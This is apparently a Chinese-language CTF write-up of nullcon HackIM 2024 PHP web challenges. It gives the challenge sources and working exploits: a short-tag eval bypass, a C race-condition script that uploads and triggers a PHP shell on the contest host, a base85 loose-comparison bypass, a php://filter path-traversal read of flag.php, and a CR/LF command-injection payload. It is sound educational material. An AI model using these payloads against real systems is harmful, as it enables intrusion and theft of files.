nullcon跟柏林工大联合搞的CTF比赛,web题目全部考察php
nullcon HackIM 2024 is a web-based Jeopardy CTF. You do not need a dedicated server or a VPN environment in order to participate.
The CTF starts at 09:30 UTC on March 14th and ends at 11:00 UTC on March 15th.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<? php
ini_set ( "error_reporting" , 0 );
ini_set ( "short_open_tag" , "Off" );
if ( isset ( $_GET [ 'source' ])) {
highlight_file ( __FILE__ );
}
include "flag.php" ;
$input = $_GET [ 'input' ];
if ( preg_match ( '/[^\x21-\x7e]/' , $input )) {
die ( "Illegal characters detected!" );
}
$filter = array ( "<?php" , "<? " , "?>" , "echo" , "var_dump" , "var_export" , "print_r" , "FLAG" );
$filter = array ( "<?php" , "<? " , "?>" , "*" , "/" , "var_dump" , "var_export" , "print_r" , "FLAG" );
foreach ( $filter as & $keyword ) {
if ( str_contains ( $input , $keyword )) {
die ( "PHP code detected! \n " );
}
}
eval ( "?>" . $input );
echo " \n " ;
?>
过滤了php标签头<?php
,可以用短标签<?=
payload:
1
2
?source&input=<?=phpinfo();
?source&input=<?=show_source('flag.php');
文件上传
根据题目描述,结合给的源码,可判断为条件竞争
刚开始没打通,我以为是本国网速延迟导致…..然鹅是能通的…..
Minei3oat师傅写的c语言脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>
const char POST [] = "POST /contest.php HTTP/1.1 \r\n Host: 52.59.124.14:5010 \r\n Content-Type: multipart/form-data; boundary=---------------------------2293933683385722748470522066 \r\n Content-Length: 413 \r\n\r\n -----------------------------2293933683385722748470522066 \r\n Content-Disposition: form-data; name= \" fileToUpload \" ; filename= \" ctf0_shell.php \"\r\n Content-Type: application/x-php \r\n\r\n <?php \r\n echo file_get_contents('/var/www/html/flag.txt'); \r\n ?> \r\n\r\n -----------------------------2293933683385722748470522066 \r\n Content-Disposition: form-data; name= \" submit \"\r\n\r\n Submit! \r\n -----------------------------2293933683385722748470522066-- \r\n\r\n " ;
const char GET [] = "GET /uploads/ctf0_shell.php HTTP/1.1 \r\n Host: 52.59.124.14:5010 \r\n\r\n " ;
int main () {
// get sockets
int post_socket = socket ( AF_INET , SOCK_STREAM , 0 );
int get_socket = socket ( AF_INET , SOCK_STREAM , 0 );
// connect them to the server
struct sockaddr_in server ;
unsigned long addr ;
memset ( & server , 0 , sizeof ( server ));
addr = inet_addr ( "52.59.124.14" );
memcpy ( ( char * ) & server . sin_addr , & addr , sizeof ( addr ));
server . sin_family = AF_INET ;
server . sin_port = htons ( 5010 );
connect ( post_socket ,( struct sockaddr * ) & server , sizeof ( server ));
connect ( get_socket ,( struct sockaddr * ) & server , sizeof ( server ));
// send requests
send ( post_socket , POST , sizeof ( POST ), 0 );
send ( get_socket , GET , sizeof ( GET ), 0 );
// read answer
char answer [ 1024 ];
memset ( & answer , 0 , sizeof ( answer ));
read ( post_socket , answer , 1024 );
puts ( answer );
memset ( & answer , 0 , sizeof ( answer ));
read ( get_socket , answer , 1024 );
puts ( answer );
// close connection
close ( get_socket );
close ( post_socket );
}
程序在Linux环境汇总编译执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<? php
ini_set ( "error_reporting" , 1 );
include "flag.php" ;
include "./base85.class.php" ; // https://github.com/scottchiefbaker/php-base85
if ( isset ( $_GET [ 'source' ])) {
highlight_file ( __FILE__ );
}
if ( isset ( $_GET [ 'password' ])) {
$pw = base85 :: encode ( $_GET [ 'password' ]);
if ( $pw == base85 :: decode ( $ADMIN_PW )) {
echo $FLAG ;
}
}
?>
php弱比较
本题逻辑是,传入参数password的值经过base85编码后经过弱比较等同于$ADMIN_PWbase85解码后的值,根据题目描述,ADMIN_PW前几位是0P)s
,解码后是0e1
弱比较等同于0,经过测试,1+
经过base85编码后是0e3
弱比较等同于0
https://www.dcode.fr/ascii-85-encoding
payload
发包的时候需要对参数url编码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<? php
ini_set ( "error_reporting" , 0 );
if ( isset ( $_GET [ 'source' ])) {
highlight_file ( __FILE__ );
}
include "/var/www/html/flag.php" ;
function sanitize_path ( $p ) {
return str_replace ( array ( " \0 " , " \r " , " \n " , " \t " , " \x0B " , '..' , './' , '.\\' , '//' , '\\\\' ,), '' , trim ( $p , " \x00 .. \x1F " ));
}
$path = $_GET [ 'path' ];
if ( isset ( $path ) && str_contains ( $path , "/var/www/html/static/" )) {
die ( file_get_contents ( sanitize_path ( $path )));
}
?>
利用php为协议读取/var/www/html/flag.php
,但要对题目对特殊的路径符号进行过滤的绕过
payload
1
? source & path = php : / \\\\/ filter / read =/ var / www / html / static / convert . base64 - encode / resource =/ var / www / html / flag . php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<? php
ini_set ( "error_reporting" , 0 );
if ( isset ( $_GET [ 'source' ])) {
highlight_file ( __FILE__ );
}
include "flag.php" ;
# From: https://stackoverflow.com/questions/2040240/php-function-to-generate-v4-uuid/15875555#15875555
function format_uuidv4 ( $data )
{
assert ( strlen ( $data ) == 16 );
$data [ 6 ] = chr ( ord ( $data [ 6 ]) & 0x0f | 0x40 ); // set version to 0100
$data [ 8 ] = chr ( ord ( $data [ 8 ]) & 0x3f | 0x80 ); // set bits 6-7 to 10
return vsprintf ( '%s%s-%s-%s-%s-%s%s%s' , str_split ( bin2hex ( $data ), 4 ));
}
$THE_SCRIPT = <<< SCRIPT
#!/bin/sh
cat flag.txt;
SCRIPT ;
if ( isset ( $_POST [ 'executy' ])) {
$executy = trim ( $_POST [ 'executy' ]);
try {
if ( strlen ( $executy ) > 1024 ) {
throw new Exception ( "Too long" );
}
if ( $executy == $THE_SCRIPT ) {
throw new Exception ( "Nope, this is too easy!" );
}
$fname = "/tmp/" . format_uuidv4 ( random_bytes ( 16 )) . ".sh" ;
$ret = file_put_contents ( $fname , $executy );
if ( ! $ret ) {
throw new Exception ( "Nope" );
}
`ulimit -Sn 10000;ulimit -Hn 50000;screen -Dm -- bash -c "cat $fname; screen -X hardcopy -h $fname.out"` ;
$fcontent = trim ( file_get_contents ( $fname . ".out" ));
if ( $fcontent != $THE_SCRIPT ) {
echo "I'm not allowed to execute other files :-(" ;
throw new Exception ( "Nope" );
}
echo `timeout 1s bash $fname 2>&1` ;
} catch ( Exception $e ) {
echo "An error occured!" . $e ;
}
@ unlink ( $fname );
@ unlink ( $fname . ".out" );
}
?>
输入的 bash 命令将被检查是否与$THE SCRIPT 变量中的内容匹配。如果不同,那么命令不会被执行。
根据下半部分源码可知,我们输入的 bash 命令并没有直接与 $THE_SCRIPT 变量进行比较。相反,它是使用硬拷贝屏幕捕获的。
可以发起 CLRF攻击
payload
1
%23%21%2Fbin%2Fsh%0Acat%20*%20#%0Dcat+flag.txt%3B